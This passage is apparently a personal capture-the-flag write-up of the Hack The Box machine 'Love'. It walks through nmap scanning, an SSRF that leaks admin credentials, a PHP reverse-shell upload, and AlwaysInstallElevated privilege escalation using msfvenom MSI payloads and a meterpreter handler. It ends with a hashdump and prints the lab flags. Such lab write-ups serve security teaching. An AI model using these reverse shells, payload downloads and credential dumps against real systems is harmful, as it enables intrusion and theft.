|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host '10.10.14.234' is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.80%I=7%D=5/30%Time=60B3C701%P=x86_64-redhat-linux-gnu%
SF:r(NULL,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.234'\x20is\x20not\x20
SF:allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h53m20s, deviation: 4h02m29s, median: 33m20s
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: Love
| NetBIOS computer name: LOVE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-05-30T10:43:59-07:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-05-30T17:44:00
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.17 seconds
And then it hit me π€. The 443 port is for another domain, and in this case, it’s for staging.love.htb
as shown on the SSL certificate!
the staging service
After updating my hosts file, accessing that domain still throws an 403 error, so tried on the non-ssl port (80) but accessing the new domain.
WAY FOR NEW WEBSITE! Basically, the webserver is serving two VHOSTS
, one for the “Voting System” and another for this new “Free File Scanner”.
Now, what can I do with this? The “Demo” area shows a place where we can input an URL for to “scan the file”, whatever that means.
There’s no “Upload” button that I can see, so the service must obtain the file via an HTTP request. At this time I was a little confused on what I’m supposed to accomplish here. There doesn’t seam to be any logic on a “File Scanner” that doesn’t scan files someone uploads. Anyway, I decided to run a python http.server
and send it a file of some sort.
$ echo "HELLO WORLD" >> test.html
$ python3 -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
10.10.10.239 - - [30/May/2021 18:31:33] "GET /test.html HTTP/1.1" 200 -
So, it parses HTML files and shows them on the page. Can it parse PHP?
$ echo "<?php phpinfo(); ?>" > test.php
$ python3 -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
10.10.10.239 - - [30/May/2021 18:35:18] "GET /test.php HTTP/1.1" 200 -
π meh, looks like it doesn’t. Again, I was confused. How can I make use of this if it doesn’t look like it can actually run anything?! π€
While I was trying to make something out of this, I remembered the 5000 port that was running on the server that previously had given me a 403 error. Could it be that it could only be accessed on localhost
or something? There’s only one way to know:
Finally some progress! Now we have the admin
user credentials (@LoveIsInTheAir!!!!
), and can login onto the Voting System admin site. At this time, I also canceled my hashcat
process that was at a mere 2% of the whole rockyou.txt
password list. With that password, it would never get there π.
finally admin
Now that we have access to the site we need to make something out of it. I began exploring and realized that every voter/candidate has a photo associated with it, and that photo get’s stored on the /images/
path that dirb found before (and is listable). Next logical step was to try to upload a reverse shell instead of an actual photo. There are plenty of PHP reverse shells, but most of them are for Linux hosts. After some time I found this one and decided to try it out.
After the necessary adjustments to the file (IP address and port) I went ahead:
$ nc -nlvp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.239.
Ncat: Connection from 10.10.10.239:62895.
SOCKET: Shell has connected! PID: 6176
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\>whoami
love\phoebe
C:\>
Never been so happy to see a Windows shell on my desktop before! π₯³π₯³π₯³π₯³
user flag
With the reverse shell we got from the previous step, the user flag is right at our figertips!
C:\>cd Users\Phoebe\desktop
C:\Users\Phoebe\Desktop>type user.txt
58f27d17599a4f4b37fb003c248835a7
C:\Users\Phoebe\Desktop>
EZPZ π
root flag
Now, to escalate from user
to root
I needed some help since I’m not that familiar with Windows environments. So I decided to use WinPEAS to help me. First I need to identify the system where I’m running, is it 32 or 64 bits machine?
C:\Users\Phoebe\Desktop>wmic os get OSArchitecture
OSArchitecture
64-bit
There you go! 64bits. So, I downloaded the winPEASx64.exe file, put it in my local working directory, and fired a python http.server
since there’s no scp command that would help me here (how does Windows folks live without this stuff?! π). It was just a matter of downloading the file from my local server and runing it on the box.
C:\Users\Phoebe\Desktop>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Users\Phoebe\Desktop> Invoke-WebRequest -Uri http://10.10.14.234:9000/winPEASx64.exe -OutFile winpeas.exe
PS C:\Users\Phoebe\Desktop> exit
C:\Users\Phoebe\Desktop>c:\users\phoebe\desktop\winpeas.exe > output.txt
C:\Users\Phoebe\Desktop>
As with any {lin,win}PEAS
output, it is rather extensive so I won’t put in here but you can still download it.
Being n00b on Windows stuff, I went ahead and looked for red stuff on the winPEAS report. After looking around for them, checking on Google to see if that might be the way to go, it all seem too complicated until I doung this peace on the report:
[+] Checking AlwaysInstallElevated
[?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!
Basically what that means is that if those AlwaysInstallElevated
Registry flags are set to 1, whenever someone installs something on the box, it will do so as Administrator
(or NT AUTHORITY/SYSTEM
, really don’t know here). Good, hacktricks even has an msfvenom
payload to create a new user using the “feature” (?!). Let’s just create the payload, send it to the box, and execute it.
$ msfvenom -p windows/adduser USER=rottenadmin PASS=Passw0rd -f msi -o alwe.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 280 bytes
Final size of msi file: 159744 bytes
Saved as: alwe.msi
PS C:\Users\Phoebe\Desktop> msiexec alwe.msi
.msi
PS C:\Users\Phoebe\Desktop> get-localuser
Name Enabled Description
---- ------- -----------
Administrator True Built-in account for administering the computer/domain
DefaultAccount False A user account managed by the system.
Guest False Built-in account for guest access to the computer/domain
Phoebe True Workstation Power User
rottenadmin True
WDAGUtilityAccount False A user account managed and used by the system for Windows Defender Application Guard scen...
PS C:\Users\Phoebe\Desktop>
Yes! It worked! Now, I just need to switch to that account and check for the root
flag. Wait a minute. How do I even change user on a Windows command line?! π At this time, I tried lots of stuff, like using the runas
command but it would ask me for the user’s password without even allowing me to enter it (I figured it could be something to do with the reverse shell I was using).
PS C:\Users\Phoebe\Desktop> runas /user:rottenadmin cmd.exe
Enter the password for rottenadmin:
PS C:\Users\Phoebe\Desktop>
I tried specifying the user’s password on the command line (even not being documented it could be used that way), but nothing π’.
PS C:\Users\Phoebe\Desktop> runas /user:rottenadmin Passw0rd cmd.exe
PS C:\Users\Phoebe\Desktop>
But then I remembered to run tasklist
to list the running processes and saw that the previous commands I executed, they actually were there, terminals were running, I just didn’t “change” to it. It’s like a damn window just popup up on the box’s desktop that I couldn’t interact with. Damn this Windows world π. Ok, I needed to figure out some other way to use that “feature” to obtain a shell. So I decided to dig a little more into it and found this article.
In here, instead of creating a new user with Administrator
priviledges, we’re creating a payload that runs a reverse shell that can be used on metasploit. Ok, maybe this is the way to go. Let’s try it out.
$ msfvenom -p windows/meterpreter/reverse_tcp -o reverse.msi LHOST=10.10.14.234 LPORT=5555 -f msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of msi file: 159744 bytes
Saved as: reverse.msi
PS C:\Users\Phoebe\Desktop> Invoke-WebRequest -Uri http://10.10.14.234:9000/reverse.msi -OutFile reverse.msi
PS C:\Users\Phoebe\Desktop> msiexec /quiet /qn /i reverse.msi
PS C:\Users\Phoebe\Desktop>
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.14.234
lhost => 10.10.14.234
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.14.234:5555
[*] Sending stage (175174 bytes) to 10.10.10.239
[*] Meterpreter session 1 opened (10.10.14.234:5555 -> 10.10.10.239:63073) at 2021-05-30 20:03:45 +0100
meterpreter > shell
Process 7736 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
whoami
nt authority\system
C:\WINDOWS\system32>
YES! π₯³ We are NT AUTHORITY/SYSTEM
. Let’s just get the flag now.
C:\WINDOWS\system32>cd \users\administrator\desktop
cd \users\administrator\desktop
C:\Users\Administrator\Desktop>type root.txt
type root.txt
a79f9fe03cdbd002a872b7bfc8167502
root password hash
Now, to get the Administrator hash it’s just a matter of using the hashdump
command of meterpreter. If for some reason it doesn’t work (priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
), try to migrate
to another process that’s run by NT AUTHORITY/SYSTEM
:
meterpreter > migrate 3036
[*] Migrating from 1784 to 3036...
[*] Migration completed successfully.
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:aab42ca009fed69fa5ee57c52cf5bcf1:::